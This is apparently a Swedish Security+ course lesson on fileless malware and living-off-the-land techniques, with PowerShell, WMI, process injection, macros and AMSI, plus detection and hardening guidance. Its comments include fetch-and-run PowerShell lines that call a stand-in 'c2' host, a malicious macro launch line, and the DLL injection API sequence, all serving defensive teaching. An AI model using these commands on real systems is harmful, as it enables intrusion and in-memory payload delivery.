Security+ Academy · Lektion

Fillös skadlig kod och Living-off-the-Land-attacker

Lär dig hur fillös skadlig kod missbrukar legitima verktyg (PowerShell, WMI och makron) för att undgå traditionell signaturbaserad detektering.

Lektion 4 av 413 steg

Fillös skadlig kod och Living-off-the-Land-attacker är en gratis lektion i Security+ Academy på CoddyKit. Detta är lektion 4 av 4. Du kan läsa vilka 3 lektioner som helst i den här lärvägen kostnadsfritt i sin helhet – därefter låser CoddyKit PRO upp alla lektioner, plus praktisk övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Den ingår i lärvägen för Security+ Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i Security+ Academy innehåller totalt 4 lektioner.

Varför fileless-attacker är så effektiva

Traditionell skadlig kod skriver körbara filer till disken, vilket ger signaturbaserade antivirusprogram möjlighet att skanna och upptäcka dem. Fileless malware körs helt i minnet eller missbrukar legitima verktyg som redan är installerade, och lämnar därför inga traditionella filer med skadlig kod som antivirusprogram kan hitta. Detta minskar upptäcktsgraden dramatiskt för signaturbaserade verktyg. Säkerhetsleverantörer rapporterar att fileless-attacker har 10 gånger större sannolikhet att lyckas än filbaserade attacker. Bankrånet mot Bangladesh Bank 2016, varianterna av Petya/NotPetya från 2017 och otaliga intrång av nationalstatsaktörer har utnyttjat fileless-tekniker för att upprätthålla persistens och undgå upptäckt.

Living-off-the-Land-tekniker (LotL)

Living-off-the-land-attacker (LotL) använder legitima verktyg och verktygsprogram som redan finns på det angripna systemet för att utföra skadliga åtgärder. Dessa verktyg – PowerShell, WMI, certutil, mshta, regsvr32, rundll32 – betros av operativsystemet och säkerhetsprogram eftersom de har legitima användningsområden. En angripare som uteslutande använder inbyggda verktyg kan smälta in i normal administrativ aktivitet. Utmaningen för försvarare är att skilja skadlig användning av dessa verktyg från legitimt administrativt arbete. Därför är beteendeanalys och kontextmedvetenhet effektivare än signaturidentifiering för LotL-tekniker.

# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe   - download files from internet
# mshta.exe      - execute HTA (HTML Application) scripts
# regsvr32.exe   - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe   - execute DLL exports
# wmic.exe       - WMI queries and lateral movement
# bitsadmin.exe  - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe      - bypass UAC, run scripts

PowerShell som attackverktyg

PowerShell är det mest missbrukade LotL-verktyget eftersom det ger åtkomst till hela .NET-ramverket, WMI och Windows-API:er med minimala spår när det körs i minnet. Angripare laddar ned PowerShell-skript direkt till minnet utan att skriva dem till disken, kodar kommandon i Base64 för att dölja dem från loggning och använder funktioner som reflection för att läsa in .NET-sammansättningar i minnet. Ramverken Empire och Cobalt Strike förlitar sig i hög grad på PowerShell efter kompromettering. Försvarsåtgärder omfattar PowerShell Constrained Language Mode, ScriptBlock Logging (loggar avkodat skriptinnehåll), Module Logging och begränsning av vilka som får köra PowerShell via Group Policy.

# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled

WMI för persistens och lateral förflyttning

WMI (Windows Management Instrumentation) är en kraftfull Windows-funktion för systemhantering som angripare missbrukar för persistens och lateral förflyttning. En WMI-händelseprenumeration utlöser ett kommando när en angiven händelse inträffar, till exempel var femte minut, vid inloggning eller när en viss process startar. Dessa prenumerationer överlever omstarter, lagras i WMI-databasen och visas inte som traditionella schemalagda aktiviteter eller registernycklar för autostart, vilket gör att många verktyg för identifiering av persistens inte upptäcker dem. Angripare kan även använda WMI för att köra processer på fjärrsystem via DCOM (port 135), vilket möjliggör lateral förflyttning utan nätverksresurser.

# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Sysmon Event ID 19/20/21: WMI events logged

Tekniker för processinjektion

Processinjektion gör det möjligt för skadlig kod att köras i adressutrymmet för en legitim och betrodd process (explorer.exe, svchost.exe, notepad.exe). Den skadliga koden ärver processens behörigheter och identitet, vilket får nätverksanslutningar att se ut att komma från ett betrott program. Vanliga injektionstekniker omfattar DLL-injektion (läser in en skadlig DLL i en annan process), process hollowing (skapar en pausad process, avmapp­ar dess kod och ersätter den med skadlig kod) och reflective DLL injection (läser in en DLL direkt från minnet utan att skriva den till disken). EDR-verktyg upptäcker injektion genom att övervaka sekvenser av API-anrop (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread).

# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)

# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)

Makroaktiverade dokument som ingångspunkter

Många fileless-attackkedjor börjar med ett skadligt Office-dokument som innehåller VBA-makron. När användaren öppnar dokumentet och aktiverar makron (ofta lockad av ett meddelande som 'Enable Content to view this document') kör makrot PowerShell för att ladda ned och köra en nyttolast direkt i minnet. Nyttolasten skrivs aldrig till disken – endast det ursprungliga Office-dokumentet gör det. Därför betonar Security+-provet vikten av att inaktivera makron och distribuera ASR-regler (Attack Surface Reduction). Moderna phishingramverk för attacker i mitten (som Evilginx2) levererar också skadliga dokument efter att autentiseringsuppgifter har fångats upp, för att installera RAT:ar.

# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
#    Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists

# ASR rule to block:
# 'Block all Office applications from creating child processes'

AMSI: Antimalware Scan Interface

AMSI (Antimalware Scan Interface) är ett Windows-API som gör det möjligt för program (PowerShell, VBScript, JScript, Office) att skicka innehåll till den installerade antivirusmotorn för skanning vid körning – även innan innehållet har skrivits till disken. AMSI gör det möjligt för antivirusleverantörer att skanna skriptinnehåll som annars skulle vara osynligt för filbaserad skanning. Angripare försöker kringgå AMSI genom att patcha amsi.dll i minnet så att den returnerar resultatet 'clean' för alla inskickade objekt, eller genom att förvränga skriptinnehållet för att undvika signaturmatchning. EDR-verktyg övervakar försök att patcha AMSI som en indikator på fileless-attackaktivitet.

# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked

# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defense

Identifiera fileless-attacker

För att upptäcka fileless malware måste Ni gå från filbaserad identifiering till beteendeövervakning. Viktiga identifieringsstrategier omfattar: PowerShell ScriptBlock Logging fångar avkodat skriptinnehåll även om det är kodat på kommandoraden; Sysmon loggar processkapande med fullständiga kommandorader, nätverksanslutningar med information om vilken process som skapade dem och registerändringar; EDR-regler för beteende larmar vid misstänkta processrelationer (Word startar PowerShell, PowerShell startar cmd, certutil laddar ned körbara filer); och Windows Event Forwarding skickar dessa loggar till ett centralt SIEM-system för korrelation och långsiktig lagring.

# Sysmon detection rules for LotL:
# Event ID 1: Process creation
#   Alert if: Word.exe spawns cmd.exe or powershell.exe
#   Alert if: certutil.exe with -urlcache -f parameters
#   Alert if: mshta.exe with remote URL argument

# Event ID 3: Network connection
#   Alert if: powershell.exe initiates outbound connection
#   Alert if: mshta.exe connects to non-Microsoft IPs

# Event ID 7: Image loaded
#   Alert if: known-bad DLL loaded into legitimate process

Begränsa användningen av LotL-verktyg

Organisationer kan minska attackytan för LotL genom att begränsa vilka användare som får köra kraftfulla verktyg. PowerShell Constrained Language Mode begränsar .NET-anrop, COM-objekt och reflection som angripare förlitar sig på. AppLocker och WDAC (Windows Defender Application Control) kan förhindra att specifika binärfiler körs av användare som inte är administratörer. LOLBAS-projektet katalogiserar kända LotL-binärfiler och deras attacktekniker, vilket hjälper försvarare att identifiera vilka binärfiler som bör övervakas eller begränsas. Alla LotL-binärfiler kan inte blockeras (många krävs för operativsystemets funktion), men det går att övervaka deras användning i rätt kontext.

# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active

# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)

# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel level

MITRE ATT&CK-täckning av fileless-tekniker

MITRE ATT&CK-ramverket dokumenterar fileless- och LotL-tekniker utförligt. Viktiga undertekniker omfattar: T1059.001 (PowerShell), T1047 (WMI-körning), T1055 (processinjektion), T1140 (avkoda/dekryptera filer), T1003.001 (LSASS-minne för credential dumping) och T1546.003 (WMI-händelseprenumeration för persistens). Genom att mappa Er identifieringsförmåga mot dessa tekniker med ATT&CK Navigator synliggör Ni täckningsluckor och får vägledning vid utveckling av SIEM-regler. Ramverket tillhandahåller även vägledning om begränsning och identifiering för varje teknik.

Sammanfattning av försvar mot fileless malware

En skiktad försvarsstrategi mot fileless malware omfattar: aktivering av PowerShell-loggning (ScriptBlock, Module, Transcription), distribution av Sysmon med en heltäckande konfiguration, implementering av AMSI med en uppdaterad antivirusmotor, tillämpning av PowerShell Constrained Language Mode via WDAC, begränsning av makrokörning i Office-dokument via Group Policy, distribution av EDR med funktioner för beteendebaserad identifiering samt vidarebefordran av alla loggar till ett SIEM-system med identifieringsregler för kända skadliga processkedjor. Kombinationen av en begränsad attackyta och bättre insyn gör fileless-attacker betydligt svårare att genomföra utan att upptäckas.

Snabb kontroll

Testa Er förståelse av begreppen från CompTIA Security+ (SY0-701) i den här lektionen.

Sammanfattning av lektionen

I den här lektionen lärde Ni Er att fileless malware körs i minnet och missbrukar legitima operativsystemverktyg som PowerShell, WMI och certutil för att undgå signaturbaserad identifiering, att tekniker för processinjektion döljer skadlig kod inuti betrodda processer genom att utnyttja Windows API:er för minneshantering och att beteendebaserad identifiering via SIEM, Sysmon och EDR, i kombination med PowerShell-loggning och AMSI, ger det starkaste försvaret mot dessa attackkedjor som undviker signaturidentifiering. Härnäst utforskar vi skillnaden mellan sårbarhetsskanning och penetrationstestning.

Gratis att börja

Lär dig Security+ Academy med en AI-lärare – gratis

Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.

Kurser
30
Lektioner
120

Vanliga frågor

Är lektionen ”Fillös skadlig kod och Living-off-the-Land-attacker” gratis?

Ja – du kan läsa vilka 3 lektioner som helst i lärvägen Security+ Academy, inklusive ”Fillös skadlig kod och Living-off-the-Land-attacker”, kostnadsfritt i sin helhet här på webben. Därefter låser CoddyKit PRO upp alla lektioner, plus interaktiv övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Kursen i Security+ Academy innehåller totalt 4 lektioner.

Vad lär jag mig i ”Fillös skadlig kod och Living-off-the-Land-attacker”?

Lär dig hur fillös skadlig kod missbrukar legitima verktyg (PowerShell, WMI och makron) för att undgå traditionell signaturbaserad detektering. Ni övar på Security+ Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.

Behöver jag någon erfarenhet för att börja lära mig Security+ Academy?

Du behöver inga förkunskaper. Utbildningen i Security+ Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 4 av 4.

Hur lång tid tar lektionen ”Fillös skadlig kod och Living-off-the-Land-attacker”?

De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.

Kan jag skriva och köra kod i den här Security+ Academy-lektionen?

Ja. Varje Security+ Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.

Alla lektioner i den här kursen

  1. Virus, maskar och trojaner
  2. Ransomware och krypteringsskadlig kod
  3. Rootkits, spionprogram och keyloggers
  4. Fillös skadlig kod och Living-off-the-Land-attacker
← Tillbaka till Security+ Academy